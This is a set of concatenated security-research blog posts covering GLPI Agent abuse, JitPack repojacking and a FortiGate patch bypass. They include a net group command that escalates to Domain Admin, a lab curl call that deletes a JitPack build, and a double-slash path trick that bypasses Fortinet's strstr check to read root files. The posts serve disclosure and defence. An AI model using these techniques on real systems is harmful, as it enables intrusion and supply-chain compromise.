The payload? A straightforward domain dominance move. Since the Agent was already running as SYSTEM on the Domain Controller, we didn’t need complex exploits. We simply used native Windows commands (net group "Domain Admins" ... /add) to grant ourselves full administrative rights over the domain.

The logs on the GLPI server confirmed the execution perfectly.

User Created
Privileges Granted

From a low-privilege web shell on a Linux inventory server, we pivoted to Domain Admin on the Windows infrastructure. Zero exploits involved on the Windows side.

Pure unadulterated feature abuse.

3# The “No-CVE” Bureaucracy

With a working PoC and our client’s domain under control, we did the responsible thing. We sent a really detailed report to INCIBE (the Spanish CNA) to coordinate a CVE assignment.

We expected a technical discussion. We got a lesson in corporate semantics.

After months of back-and-forth, on April 22, 2024, the final verdict arrived. GLPI and the CNA rejected the CVE. The reasoning?

“Vulnerability requires source code modification of the application, which, while being a security incident, disqualifies it from CVE assignment.”

Read that again.

They argued that it’s not a vulnerability because, to exploit it, we need to modify files on the server (which we could already do because we had already breached the server).

This is a classic straw man fallacy. It ignores the impact. The vulnerability isn’t that we can write to the server. The vulnerability is that the agent’s insecure defaults allows a low-level server compromise to potentially escalate to a total Domain Compromise, or at least, to a massive Lateral Movement vector. It’s equivalent to saying that leaving the vault keys taped to the bank’s front door isn’t a security flaw because the robber technically has to reach the door first.

In GLPI Agent (≤ 1.7.3), the agent is shipped with a Deploy capability enabled by default that legitimate admins cannot use out-of-the-box, because the native server endpoint ignores it. This is the core contradiction. It’s an initialization of a resource with an insecure default without any doubt (CWE-1188).

We pushed back. We explained they were downplaying a Massive Fleet Compromise vector. The final response?

We agree with your concerns, but GLPI says no, so no CVE. We asked them to add a disclaimer.

A disclaimer. Right. That’ll stop the APTs.

4# The Silent Patch

Here is where the story shifts from disappointing to something similar to negligent.

We didn’t discover this until a few weeks ago. And, honestly, if we hadn’t discovered it, I don’t know if we’d be talking about it. Maybe yes, maybe no. But the point is that now we feel like talking about it.

The vendor denied the vulnerability. OK. This was circumstantial bullshit that only mattered to us. If your GLPI server is compromised, you should burn in hell by default. It’s an aggressive position, but hey, that’s life. We’ve got it.

Yet, curiously, on May 15, 2024, mere weeks after closing our report, and while they were telling the CNA that this didn’t matter, they released GLPI Agent 1.8.

And what did we find buried in the doc?

“The base feature is feat_AGENT which is always selected and includes Inventory task. Since v1.8, no other task is selected by default.

Suddenly, the Deploy functionality, the one enabled by default that let us pivot to the entire domain, was disabled by default.

Why? That’s a good question.

Could it have something to do with the fact that some guys told them several months earlier that it was complete crap and that they had taken over a multinational company’s DC because of this stupidity?

In any case, they changed it up with:

  • No security notice.
  • No credit to the researchers.
  • No CVE.
  • No warning to the thousands of admins running v1.7.3 or older with Deploy enabled by default.

They made the attack vector disappear for new installations with defaults options but left every existing installation abandoned. And of course, nowhere do they warn of the risks of installing the agent with Deploy enabled whether necessary or not. Ultimately, if you install a GLPI agent version > 1.7.3, where the risk has been mitigated, over a version <= 1.7.3 where extended features are enabled, these features are not always removed.

“Custom Setup” option for GLPI agent v1.16 installed over v1.7.3
5# The Cycle Closes

Which brings us back to October 2025.

We breached our client GLPI Server. We saw GLPI Agent 1.7.3.

We checked CVEDetails just to gloat: GLPI Agent 1.7.3 Vulnerabilities. 0 Vulnerabilities.

Why would they update something that was ‘secure’ and about which no one had issued a security alert?

But we knew things they didn’t know. We exploited the server. We redirected the traffic. BOOM. A new compromise powered by GLPI Agent.

nt authority\system is a good point to start a compromise

This compromise was sponsored by:

  1. An insecure default configuration in any GLPI Agent prior to v1.8
  2. A Vendor who preferred burying a flaw to fixing it publicly
  3. A CVE System that prioritizes bureaucracy over operational reality
6# Closing Thoughts

If your security posture depends on the presence of a CVE to trigger an action, you are outsourcing your risk model to a bureaucracy system that was never designed to capture every real-world risk.

We prefer impact over paperwork. If we find a flaw, we exploit it to prove the risk, regardless of what the vulnerability database says, because adversaries don’t operate on bureaucracy.

They operate on opportunity and one is usually enough for them.

Mitigation Strategies

Take our advice, the best thing you can do is remove GLPI from your life, but if you still can’t, follow these tips.

Audit your agents
  • Identify endpoints running ≤1.7.3.
  • Identify endpoints where Deploy support is enabled.
  • Treat Deploy as a risk.
Upgrade your defaults
  • Move to a current agent version.
  • Ensure Deploy/Collect are explicitly opt-in only where truly needed.
  • If you don’t use Deploy, remove it. Don’t just ignore it.
Segregate GLPI as a high-risk tier component
  • Treat GLPI like a complex web application with a long vulnerability history.
  • Segment it aggressively.
  • Avoid paths from GLPI to Tier-0 assets (domain controllers, privileged management networks, …).
  • If an agent on a Tier-0 system exists at all, it should be the exception and it should not have Deploy capability.
Detection & Forensics

If you suspect abuse or want to harden proactively, focus on this surfaces:

  • GLPI server core: any change to front/inventory.php is a red flag (look for injected JSON returning "task":"Deploy" + "remote":"...glpiinventory.../b/deploy/").
  • GLPIInventory plugin path: monitor writes under /marketplace/glpiinventory/ or /plugins/glpiinventory/ (especially .htaccess “allow-all” patterns).
  • Web/network logs: alert on Deploy patterns: inventory.php?...Deploy... and plugin polling like action=getConfig + task[Deploy], then /b/deploy/?action=getJobs.
  • Windows endpoints: glpi-agent.exe spawning cmd/powershell/msiexec/schtasks/... as SYSTEM = likely Deploy abuse; on DC/Tier-0 treat as critical.

We’ll release a small detection pack.

Disclosure Timeline
DateMilestoneDetailSep 2023Initial discoveryDuring an offensive exercise, we identified the chain: GLPI server compromise + Windows agent with Deploy ⇒ SYSTEM-level task execution.11 Jan 2024Reported to CNACase reported to INCIBE (Spanish CNA) for coordinated disclosure and CVE assignment.30 Jan 2024Technical expansionAdditional exploitation detail provided (PoC / impact chain documentation).08 Feb 2024Drafts acceptedCNA accepted draft CVE advisory wording.11 Apr 2024Status escalationStatus requested due to elapsed time; CNA confirmed coordination was ongoing with the vendor.22 Apr 2024CVE rejectedCVE assignment rejected on the basis that exploitation “requires source code modification,” which “disqualifies” CVE issuance.15 May 2024Agent 1.8 releasedGLPI Agent 1.8 released; Windows installer defaults changed so Deploy/Collect became opt-in for typical installs.Oct 2025Recurrence in the wildIn a new engagement, we found GLPI Agent 1.7.3 still deployed; the same trust-abuse path worked again.25 Feb 2026Public disclosureThis research is made public (publication of this write-up).

http://labs.itresit.es/?p=2022
Supply Chain Necromancy: Reborn Namespaces in JitPack Coordinates
DefensiveLabsOffensivegithubjitpackrepojackingsupply-chain
By Javier Medina ( X / LinkedIn) TL;DR Relax. This isn’t the umpteenth we invented repojacking post. This is a measurement and validation write-up about a specific and non-trivial to exploit repojacking pattern where the registry is a build service with state (JitPack). What makes it worth writing is how delivery can happen through JitPack’s rebuild surface and […]
Show full content

By Javier Medina ( X / LinkedIn)

TL;DR

Relax. This isn’t the umpteenth we invented repojacking post.

This is a measurement and validation write-up about a specific and non-trivial to exploit repojacking pattern where the registry is a build service with state (JitPack). What makes it worth writing is how delivery can happen through JitPack’s rebuild surface and through the historical gaps that never became sealed artifacts.

In one sentence:

Can immutable artifacts stay trustworthy when their coordinates still depend on a name that can change hands?

We’ll show:

  • The failure mode and why namespace changes matter in JitPack’s model
  • The auth and permission hinge and how a reborn namespace can sometimes manage JitPack build states for versions that were never sealed as artifacts
  • A short lab you can reproduce safely using namespaces you control
  • The tools we built and are releasing to measure this at scale
  • Real targets we found in the legacy Android ecosystem and how risk depends on JitPack build state and Git platform protections.

This work also serves, although not originally intended, as an operational validation of the countermeasures against repojacking deployed by GitHub and Bitbucket.

Disclosure Status: This research follows a coordinated disclosure schedule that began in January 2026. At the time of publication, neither JitPack nor GitHub has responded to any of our attempts to contact them. The behaviors described below remain active and unmitigated on their part.

0# An honest view on this topic

Every research lab has the same guilty dream: find a clean supply chain weakness, name it and ship a write-up people remember for years. We wanted our own repojacking story too so we went looking in the Android long tail. We did it with more heart than head, and more passion than experience. That’s how we are.

Our inspiration

Looking back with the benefit of hindsight, we can now say that this is not the best repojacking story ever told, but it is the one we can tell.

What we did find was a chain that we haven’t seen documented before, based on reborn namespaces and open build states from JitPack. We also confirmed the preconditions exist in real projects, not only in a lab.

It’s a story with limitations and it still has practical lessons. That is why we are writing it down.

1# Reborn namespaces in Git-backed coordinates

JitPack turns a Git repository into a Maven-style dependency.

A typical setup looks like this:

repositories {  maven { url "https://jitpack.io" }}dependencies {  implementation "com.github.User:Repo:Tag"}

JitPack supports multiple Git hosts. The main difference is the groupId prefix. Bitbucket uses org.bitbucket.*, GitLab uses com.gitlab.*, Github uses com.github.* and so on.

Under the hood, JitPack resolves the host, clones the repo, builds it and serves the artifact.

The first weak point is simple and well known. The dependency coordinate includes a Git namespace. Namespaces are human-chosen names so they can be renamed, deleted, reclaimed or change ownership over time.

So the dependency line can stay exactly the same while the namespace behind it changes over time.

Repojacking quick notes

This is classic repojacking. A stable dependency string can end up pointing somewhere else because a name in the path changed meaning over time. This is a widely discussed topic, and one on which GitHub, for example, has released partial mitigations.

What matters here is what JitPack does with that change.

2# Getting Spicy: Breaking JitPack immutability
An explanatory image of the attack path

This is where things start to get interesting.

Git gives you a name and JitPack gives that name a build pipeline.

JitPack does not behave like a classic package registry such as Maven Central. It builds from Git and it keeps build state. For a given coordinate, you typically see two situations.

Sealed and frozen

The version built successfully, an artifact exists and after a short window (JitPack states seven days for public artifacts) the artifact is treated as immutable. Under normal use it is not expected to be rebuilt and our checks matched that.

Still open

The coordinate can trigger new builds.

Common cases:

  • Snapshots such as main-SNAPSHOT
  • Dynamic selectors such as 1.+ that can move as metadata changes
  • Failed builds that never produced an artifact
  • Recent tags still within the deletion window
  • Versions referenced by others but never built

That leads to a simple idea. If a coordinate is still open then a rebuild will use whatever repo the coordinate resolves to at that moment.

Identity matters

Here’s the part that gets overlooked.

JitPack can build from many Git hosts. But when we log in to JitPack, the account model is largely GitHub-centered. GitHub is the main identity. For other hosts there is nothing like SSO to GitLab or Bitbucket. In practice, integrating non-GitHub hosts typically means adding a token in JitPack.

This matters because JitPack allows build deletion in limited cases and it requires authentication. JitPack’s deletion rules are simple:

  • A delete endpoint exists
  • Authentication is required
  • You must have push permissions on the repository
  • Deletion is limited to failed builds, snapshots and tags newer than seven days

Now we should combine that with a reborn namespace.

If a namespace is reclaimed and the new owner can satisfy that permission check then the new owner can sometimes manage the parts of JitPack state that are still allowed to change. To be clear, this does not mean rewriting frozen artifacts. The point is the gap cases where nothing was ever sealed and the coordinate is still open.

That is the awkward part: immutability exists, but it is conditional. And there, as we will demonstrate later, there is a risk. Perhaps small, but no less true for that.

3# Case Study: A lab is worth a thousand words

This lab shows the full chain in a controlled setup. The goal is simple: prove that the same JitPack coordinate can end up producing different artifacts after a namespace event, and explain why “failed build gaps” plus Git OAuth matters.

Everything here is done with accounts and namespaces we control. We simulate how an attacker can abuse GitHub redirects (301) to hijack a library used via JitPack.

Target Coordinate: com.github.this-is-a-lab-repo-for-jitpack:LAB1

The Setup

We pre-created a repository with three specific states to demonstrate different vulnerabilities.

  • Version 1.1: A successful build. JitPack has “frozen” this version. It’s safe.
  • Version 1.0: A failed build. No artifacts were produced.
  • main-SNAPSHOT: A dynamic version pointing to the latest code.
Lab: JitPack Setup
The Baseline

Before the attack, we verify the normal behavior.

  • Fetching 1.0: The build fails because the artifacts are missing.
$ gradle clean build --refresh-dependencies || true(...)* What went wrong:Could not resolve all files for configuration ':compileClasspath'.> Could not find com.github.this-is-a-lab-repo-for-jitpack:LAB1:1.0.  Searched in the following locations:      https://repo.maven.apache.org/maven2/com/github/this-is-a-lab-repo-for-jitpack/LAB1/1.0/LAB1-1.0.pom      https://repo.maven.apache.org/maven2/com/github/this-is-a-lab-repo-for-jitpack/LAB1/1.0/LAB1-1.0.jar      https://jitpack.io/com/github/this-is-a-lab-repo-for-jitpack/LAB1/1.0/LAB1-1.0.pom      https://jitpack.io/com/github/this-is-a-lab-repo-for-jitpack/LAB1/1.0/LAB1-1.0.jar...BUILD FAILED
  • Fetching 1.1: The build succeeds and prints “A_1_1”.
$ gradle clean runApp --refresh-dependenciesDownload https://jitpack.io/com/github/this-is-a-lab-repo-for-jitpack/LAB1/1.1/LAB1-1.1.pomDownload https://jitpack.io/com/github/this-is-a-lab-repo-for-jitpack/LAB1/1.1/LAB1-1.1.jar> Task :runApp A_1_1BUILD SUCCESSFUL
The Hijack Event

This is a classic repojacking event.

  • We renamed original GitHub account to this-is-a-lab-repo-for-jitpack-new
Lab: Github Renamed Event
  • GitHub created a 301 Redirect.
git push origin main…remote: This repository moved. Please use the new location:remote: git@github.com:this-is-a-lab-repo-for-jitpack-new/LAB1.gitTo labpoc:this-is-a-lab-repo-for-jitpack/LAB1.gitb22bec3..1503b32 main -> main
  • We immediately registered the old username this-is-a-lab-repo-for-jitpack and recreated the repo with some changes. After this, the 301 Redirect isn’t working.
Lab: Github Takeover Event
Exploiting SNAPSHOT TAG

Although it may seem obvious, it was necessary to demonstrate that the SNAPSHOT tag is inherently mutable.

We push the initial marker to the repository (“this is main”). The build resolves the snapshot to commit hash c95132fb76.

$ gradle clean runApp --refresh-dependenciesDownload .../LAB1-main-c95132fb76-1.jar> Task :runAppthis is main

We modify the code on the same branch to push a new mark (“this isn’t main”). Forcing a refresh downloads a new artifact (b22bec3951) for the same coordinate.

$ gradle clean runApp --refresh-dependenciesDownload .../LAB1-main-b22bec3951-1.jar> Task :runAppthis isn't main

This means SNAPSHOT and dynamic selectors (like 1.+) are the easiest place for repojacking to matter. If the upstream repo is taken over and a rebuild happens, the resulting JitPack artifact will track that takeover.

Exploiting Failed Builds

Now the more interesting case.

Version 1.0 originally failed to build. Because no artifact exists, it never became a frozen release. It is an open slot.

JitPack allows deleting builds in limited cases and it requires authentication with push permissions on the repository. In our lab, after the namespace event, we sign in to JitPack using Git OAuth as the new owner of the reborn namespace and delete the failed build record for 1.0.

$ curl -u"[REDACTED]:" -X DELETE "https://jitpack.io/api/builds/com.github.this-is-a-lab-repo-for-jitpack/LAB1/1.0"< HTTP/2 200...{  "status" : "ok",  "message" : "Starting delete"}

With the failed state cleared, we push buildable code under tag 1.0 in the reborn repo. The next resolution attempt triggers a new build and now the same coordinate becomes a real artifact.

$ gradle clean runApp --refresh-dependenciesDownload https://jitpack.io/com/github/this-is-a-lab-repo-for-jitpack/LAB1/1.0/LAB1-1.0.pomDownload https://jitpack.io/com/github/this-is-a-lab-repo-for-jitpack/LAB1/1.0/LAB1-1.0.jar> Task :runAppthis is bad!BUILD SUCCESSFUL

This is the core point of the lab. We are not overwriting a frozen artifact. We are turning a missing version into a real artifact under a coordinate that already exists in build files.

Lab Highlights

We proved three things with a controlled setup:

  • A JitPack coordinate can stay unchanged while the repository behind it changes after a namespace event.
  • Snapshots and dynamic selectors are rebuild friendly by design. When a rebuild happens they follow whatever the coordinate resolves to at that time.
  • Failed build gaps and “never built” coordinates matter. A version that did not exist as an artifact can later become a real artifact under the same coordinate if the identity behind the coordinate changes and the build state is still open.

What this lab does not prove is “you can overwrite anything”. We did not find a reliable way to replace a public artifact that was already built and frozen.

With that out of the way, the next question is the only one that makes sense to ask.

Does this really matter, or is it just geeky stuff to talk about at a security conference and make yourself look cool?

To answer it, the only thing we could think of was to measure how often do these open states show up in real projects and which coordinates are still referenced today.

4# the Android long tail

We focused on the brittle end of Android builds: older projects, older Gradle patterns.

We scanned 500 public build.gradle files from Github, dated on projects from 2015 to 2019, that used jitpack.io and legacy compile lines. This is an intentionally biased sample to find abandoned coordinates. After all, we are talking about necromancy.

We validated it in December 2025. Roughly 4% (20 projects) referenced at least one coordinate whose upstream Git namespace was not stable at measurement time.

The findings fell into two buckets.

Redirect live (301)

These are the cases where the old namespace still resolves through a redirect and the JitPack project page is alive, so build state and demand are observable.

  • com.github.lzyzsd:jsbridge: WebView JS bridge (often payment-adjacent flows). Redirect live. Version 1.0.4 appears as a failed build, although it continues to receive around 8,500 requests in the last month.
JsBridge v1.0.4 Gap
  • com.github.apl-devs:appintro: App onboarding flow. Redirect live. Version 4.2.2 shows as failed and still gets roughly 377 requests in the last month, around 25% of the repo activity. Its development is clearly still active, and there are new beta versions released on the apl-devs user’s jitpack coordinates.
AppIntro v4.2.2 Gap

These figures may not be enough to make us jump for joy, but they do validate the theory. There are repositories with potentially claimable names that have build errors and therefore do not present immutability in artefacts that continue to be consumed.

Digital void (404)

We also found coordinates pointing to namespaces that return 404 today and do not have a usable JitPack project at the time of validation:

  • com.github.jkcclemens:khttp: Kotlin HTTP lib.
  • com.github.asbyth:ForgeGradle: Build toolchain / Gradle plugin.
  • org.bitbucket.gruveo:gruveo-sdk-android: Multimedia SDK used via wrappers.

These cases still matter as fragility. The coordinate remains in build files long after the upstream identity is gone. But because current artifact state is not observable, we treat them as “void” cases rather than confirmed delivery risk today.

Top 5 Summary

We have provided a summary of the number of references found in Gradle files for the five most significant projects that we have identified as being at risk. It’ s important to note that there are public projects that use mutable tags.

TargetDynamic or snapshotFixed tagCommit pincom.github.lzyzsd:jsbridge01260com.github.apl-devs:appintro02020com.github.jkcclemens:khttp12454com.github.asbyth:ForgeGradle7036org.bitbucket.gruveo:gruveo-sdk-android030
5# Defensive Takeover: Going Beyond Theory

At this point, given the active nature of these risks and the absence of a response from the platforms, we decided to move from passive scanning to active mitigation.

We executed a defensive takeover on the most critical targets identified.

This served a dual purpose.

First, to secure the ecosystem prior disclosure. In the absence of a vendor response or collaboration, taking over the namespace was the only effective way to prevent potential exploitation after disclosure of this research.

Secondly, to validate the actual risk operationally beyond the laboratory. We needed to understand if current anti-repojacking mechanisms (like namespace retirement or blocked usernames) stop this specific vector and in what way.

The results of this phase revealed that these protections are neither uniform nor predictable.

Full Takeover: AppIntro and khttp

The most significant finding was com.github.apl-devs:appintro.

This is a widely used library for on-boarding flows, referenced in hundreds of projects. The original username was moved, leaving a massive void. Despite its continued usage and active development, GitHub’s namespace retirement protection did not trigger.

  • Outcome: We were able to register the apl-devs username and recreate the AppIntro repository.
  • JitPack State: We successfully took control of the JitPack project page.
  • Mitigation: We have deployed a security placeholder. Any build still pointing to the old coordinate will now pull a safe, non-functional artifact that serves as a warning.
com.github.apl-devs:appintro

Similarly, for com.github.jkcclemens:khttp, the user had vanished. We successfully claimed the username, recreated the repo, and secured the JitPack coordinates. In this case, the project seems pretty much dead, although after reviving the Jitpack environment, we have seen some attempts at contact.

Partial Takeover: JsBridge

The case of com.github.lzyzsd:jsbridge revealed the first layer of protection.

  • Outcome: The user lzyzsd was available for registration, but the specific repository name jsbridge was blocked by GitHub’s Namespace Retirement protection logic.
  • Mitigation: We successfully claimed the user handle lzyzsd. While we cannot create the repository to serve a warning artifact, we have effectively mitigated any potential risk. By holding the user identity, we prevent any attacker from claiming the namespace chain.
Reclaimed ‘lzyzsd’ acoount
Blocked Targets: ForgeGradle And Gruveo

Finally, we encountered targets where the platform protections worked more aggressively.

  • Outcome: For asbyth (ForgeGradle) and gruveo, we were unable to register the usernames. GitHub and Bitbucket returned them as unavailable, even though the accounts return a 404 status and are not currently in use.
  • Insight: This confirms that GitHub and Bitbucket have a mechanism to lock abandoned usernames, but its application isn’t uniform. Why was apl-devs left open while asbyth was locked? We’re not entirely sure, but it’s a fact.
Ethical Note

All claimed namespaces (apl-devs, lzyzsd, jkcclemens) are held strictly for defensive purposes. We do not distribute functional code, and our sole intent is to prevent supply chain vectors while the ecosystem updates its references.

We will return any namespace to the rightful owners upon request to labs [at] itresit [dot] es.

6# Search for yourself

We built a toolkit named NecroJitPack containing two internal tools which we are releasing so that you can search for yourself.

JitPack Scanner (jitpack_scanner.py)

  • Focus: Discovery & Validation.
  • Logic: Parses Gradle files via GitHub Code Search and extracts JitPack coordinates (com.github.*, org.bitbucket.*).
  • Validation: Checks whether the upstream namespace is live (200), redirected (301), or void (404).
  • Enrichment: Queries MVNRepository to estimate the usage impact of dead coordinates.

Impact Analyzer (impact_analyzer.py)

  • Focus: Exposure Posture.
  • Logic: Samples public references to confirmed targets.
  • Classification: Categorizes resolution behavior into risk levels:
    • Critical: Snapshots (-SNAPSHOT) or dynamic versions (+).
    • High: Mutable tags (e.g., v1.0).
    • Secure: Pinned commit hashes.
7# A Possible Inception Effect

Modern mobile projects are rarely just Gradle. Frameworks like React Native or Flutter often ship native Android configuration embedded inside other ecosystems.

The problem is a tooling gap:

  1. JS tooling scans package.json.
  2. Security scanners check NPM dependencies.
  3. But during the build, Gradle quietly resolves a dependency defined deep inside node_modules/**/android/build.gradle.

We observed this in the wild with wrappers pulling native SDKs via org.bitbucket.gruveo. Regardless of Gruveo’s current status, the mechanism is the risk.

We haven’t explored this line of investigation in depth, but we leave it here as a side note. This mechanism creates a blind spot where neither npm audit nor standard Gradle checks usually look. A healthy, verified NPM package can act as a carrier for a dead, hijackable native dependency.

It’s a thread that might be worth pulling.

8# MitigatIONS Prefer identifiers that don’t move

When we can, we prefer coordinates that don’t drift. In practice that often means pinning to commit hashes for JitPack dependencies. It is not always pretty but it reduces how much a name change can affect what gets built.

Add Local integrity Controls

Gradle supports dependency verification through verification-metadata.xml. It lets us lock checksums and optionally signatures for the artifacts we consume. The value is simple. If the bytes change, the build becomes loud instead of silent.

Keep an internal immutable cache

In enterprise setups, build-from-source repos are volatile upstreams. A common move is to put an internal proxy in front, like Nexus or Artifactory, and keep cached artifacts immutable once they enter the environment.

Reduce long-tail exposure

When we look for where this bites first, the same patterns show up:

  • old com.github.* coordinates pointing to abandoned namespaces
  • snapshots (*-SNAPSHOT)
  • dynamic selectors (1.+)

None of these are wrong by default. They just make time drift easier to turn into incidents.

9# Closing thought: the repojacking story we wanted, and the one we got

This isn’t a Click-to-Pwn exploit. Supply chain failures rarely look like an exploit on day one. They look like a boring rename. A repo moved. A maintainer cleaned up an account. Then, months or years later, the old name becomes real again.

In our opinion, this vector has all the ingredients to remain in the background, going unnoticed until someone finds the right namespace and decides to exploit it: it is obsolete technology, there are some security measures in place to prevent it, although they do not always work, and, in general, it has unattractive exploitation mechanics.

Once the investigation is complete, we can state that the successful exploitation of this vector requires a painful alignment of stars. You need a moved repository that GitHub (or others) failed to protect and a specific JitPack build status with open slots. You can’t overwrite a frozen artifact; so you have to hunt for the versions that failed or were never built.

Is the impact worth the effort? Maybe yes, maybe no.

But we have proven that sometimes the stars can align; all it takes is patience and perseverance. We proved it with AppIntro (and potentially in khttp).

Obviously, we didn’t find thousands of vulnerable libraries, but we did find one that is used in hundreds of projects, has thousands of monthly downloads on Jitpack and continues to be developed relatively actively today. If we’re talking about supply-chain security, one bullet may be enough.

Ultimately, old names in Jitpack’s ecosystem are not always truly dead. Sometimes they are simply waiting for their chance to be reborn. That’s the risk.

That’s supply-chain necromancy.

Disclosure Timeline

We follow standard coordinated disclosure practices. In this case, despite multiple attempts to contact the involved platforms regarding the identity persistence gaps, no response was received.

  • Nov – Dec 2025: Initial research, impact analysis on the Android ecosystem, and development of validation tools.
  • 2026-01-27: First notification sent to JitPack security team (security@jitpack.io).
  • 2026-01-27: Notification sent to GitHub Security (opensource-security@github.com) regarding the implications of namespace reuse in downstream build systems.
  • 2026-02-03: Follow-up notification sent to JitPack (security@jitpack.io).
  • 2026-02-16: Defensive Takeover. We reclaimed the vulnerable GitHub namespaces identified in this report to prevent malicious exploitation after publication.
  • 2026-02-18: At the time of publishing, neither JitPack nor GitHub have acknowledged the report or responded to coordination requests. The described behavior regarding namespace reuse and build state remains active.

http://labs.itresit.es/?p=1778
Extensions
Bypassing the FortiGate Symlink Patch: The Double Slash Technique (CVE-2025-68686)
DefensiveLabsOffensiveCVE-2025-68686fortinetpatch-bypasspersistencepost-compromisevpn-ssl
By Peter Gabaldon (X / LinkedIn) TL;DR In the previous analysis (https://pgj11.com/posts/FortiGate-Symlink-Attack/), we detailed the persistence method where Threat Actors (TA) used a symbolic link in the FortiGate SSL-VPN /lang/custom directory to access the root filesystem. Fortinet released a patch attempting to block this type of access. However, we discovered that the patch relied on […]
Show full content

By Peter Gabaldon (X / LinkedIn)

TL;DR

In the previous analysis (https://pgj11.com/posts/FortiGate-Symlink-Attack/), we detailed the persistence method where Threat Actors (TA) used a symbolic link in the FortiGate SSL-VPN /lang/custom directory to access the root filesystem. Fortinet released a patch attempting to block this type of access.

However, we discovered that the patch relied on a weak string matching check (strstr) looking specifically for /lang/custom. By simply adding an extra slash to the path—requesting /lang//custom—the security check is skipped entirely while the web server still resolves the path correctly. This effectively bypasses the patch, restoring unauthorized read-only access to the root filesystem.

Background

In our previous post (https://pgj11.com/posts/FortiGate-Symlink-Attack/), we explored how attackers established persistence on compromised FortiGate units by creating a symlink in the SSL-VPN language directory. This allowed them to download sensitive files, such as the configuration, without authentication.

Fortinet responded by releasing a patch intended to prevent this behavior. We decided to analyze this patch to understand how they mitigated the issue so we could detect FortiGate devices that were compromised.

Analyzing the Patch

Upon reversing the patched firmware, we observed a new check introduced in the request handling logic. The patch utilizes the strstr function to inspect the requested URL path.

As documented in the Linux man pages, strstr is used to find the first occurrence of a substring within a string. The logic implemented by Fortinet was roughly:

  1. Check: Does the requested path contain the substring /lang/custom?
  2. Action: If yes, perform a validation check on the symlink to ensure it points to a safe location.
  3. Else: If the substring is not found, proceed normally (skipping the validation).

This logic relies on the assumption that to access the vulnerable directory, the request must strictly contain the string /lang/custom.

The Bypass: Double the Slash, Double the Fun

The weakness in using strstr for security boundaries on file paths is that file systems and web servers often normalize paths in ways that string matching does not account for.

In Linux (and most web servers), /lang/custom and /lang//custom (note the double slash) resolve to the exact same directory. However, to strstr, they are completely different strings.

  • Request:/lang/custom/file
    • strstr finds /lang/custom.
    • Result: Security check triggers. Blocked.
  • Request:/lang//custom/file
    • strstr searches for /lang/custom.
    • Result: Substring NOT found. Security check skipped.
    • Server Behavior: Resolves /lang//custom to the valid directory and serves the file.
Proof of Concept

We verified this theory on a patched appliance.

First, we attempted to access a JSON language file (which we had linked to the filesystem) using the standard path. As expected, the patch intercepted the request, resulting in a 403 Forbidden error. This confirms the security check was active and identified the /lang/custom in the request path.

Next, we sent the exact same request but modified the path to use a double slash: /lang//custom.

The result? A 200 OK status. The file was served successfully, completely bypassing the patch.

The Tool

ChatGPT(♥) and us, wrote a Python script to be able to automatically check if a FortiGate unit is running a version that fix the problem or not and to check if it is compromised.

The tool can be found here:

The tool can be run vs a single FortiGate specifying an IP and port, to multiple FortiGates specifying a file that contain IP:Port for each line or using a Shodan’s JSON file.

The tool checks for:

  1. Fixed Status: Verification if the patch (and potentially the bypass mitigation) is applied.
  2. Compromise Indicators: Checks if the malicious symlinks are accessible, indicating an active persistence mechanism.

It is highly recommended to run this against your edge devices to ensure the patch is effective and no remnants of the attack remain.

Internet Analysis

This study was performed just with statistics purposes. Any device was targeted or compromised, only checked if it was already compromised and the symlink persistence method could be leveraged.

We used Shodan to download about ~3500 FortiGate units exposed to internet and run the script vs all of that in order to know the magnitude of this persistence method.

The results showed that from 3503 randomly selected FortiGate units, 144 were still compromised (about a month later than the security advisory released by Fortinet). This represents a 4.11%.

Note that we examined 3,503 FortiGate units in total, not 3,503 SSL-VPN portals. Several of these firewalls publish only other services and do not have SSL-VPN enabled.

Of those 3,503 devices, 787 are already running the latest firmware that adds the symbolic-link integrity check.

Conclusion

The discovery of this bypass highlights a classic pitfall in software security: the discrepancy between how a security check views data and how the underlying system processes it. By relying on a simple string search (strstr) without canonicalizing the path first, the initial patch left a trivial gap that path normalization easily exploited.

This case serves as a reminder that patching is not always the end of the story. Security is an iterative process, and “shallow” patches often lead to a game of cat-and-mouse between defenders and attackers. For developers, it reinforces the importance of validating inputs in their canonical form. For administrators, it underscores that security cannot rely solely on updates; instead, they must continue monitoring the infrastructure, applying defense-in-depth strategies, and relying on robust detection, response, and mitigation efforts.

We strongly recommend all FortiGate administrators:

  1. Upgrade immediately to the latest firmware version where the path normalization logic has been hardened.
  2. Run the provided tool to verify your appliance is truly patched and to ensure no malicious symlinks were left behind by threat actors during the window of exposure.
  3. Monitor logs for unusual requests containing double slashes or unexpected access to the language directories.

See you in next posts!

Disclosure Timeline

We followed a responsible disclosure process with Fortinet PSIRT to ensure this bypass was addressed before public release.

  • 2025-04-26: Bypass discovered during patch analysis.
  • 2025-10-09: Vulnerability and Proof of Concept reported to Fortinet PSIRT.
  • 2025-10-10: Fortinet acknowledged the issue.
  • 2026-02-10: Fortinet released an updated patch to address the path normalization issue.
  • 2026-02-11: Public disclosure and blog post release.

http://labs.itresit.es/?p=2082
The €10 Mirror: Why Enterprise Security Looks Like a Kid’s Toy
DefensiveLabsOffensivecryptofailsdrmhardwaremediamifarenfcreversingtoys
By Javier Medina ( X / LinkedIn) TL;DR A toy projector taught the same lesson we keep seeing in serious systems. Business models create rules that need security properties; and questionable shortcuts tend to replace these properties when time, money and knowledge are scarce. In this case, media protection was a reversible single byte XOR wrapper and the […]
Show full content

By Javier Medina ( X / LinkedIn)

TL;DR

A toy projector taught the same lesson we keep seeing in serious systems.

Business models create rules that need security properties; and questionable shortcuts tend to replace these properties when time, money and knowledge are scarce.

In this case, media protection was a reversible single byte XOR wrapper and the NFC cartridge acted as merely like an index selector. With simple home tools, we could model the whole ecosystem in less than 1 hour. But what matters, beyond the toy itself, is what this small case teaches us.

Responsible research note

This is a consumer toy with no reachable security contact and we found no evidence that the issue exposes PII, impact on third-party services or introduces direct physical safety risks. We’re publishing this write-up to highlight the underlying architectural failure mode.

To avoid enabling misuse, this post doesn’t focus on the vendor and intentionally omits some elements necessary for direct reproduction of the detected vulnerabilities. We have deliberately avoided publishing scripts that remove the content protection or generate playable custom content. Likewise, we will not provide the original media files or the full structure/layout of the NFC tags.

The intent is to document recurring design patterns rather than target a specific product.

1# Are you seriously talking about a €10 projector?

We hesitated to publish this here.

On the surface, it’s a toy story. The reason to share it is the patterns behind it.

Small systems and big systems fail in similar ways and often for a mix of the same reasons: deadlines, ridiculous budget, missing security review, lack of knowledge or designs that rely on looks protected.

So, yes, this started with a cheap projector made for children’s stories.

The bundle is really simple. A projector, a microSD card with the media files and a plastic circular cartridge that the device reads using contactless tech.

The Workbench Setup

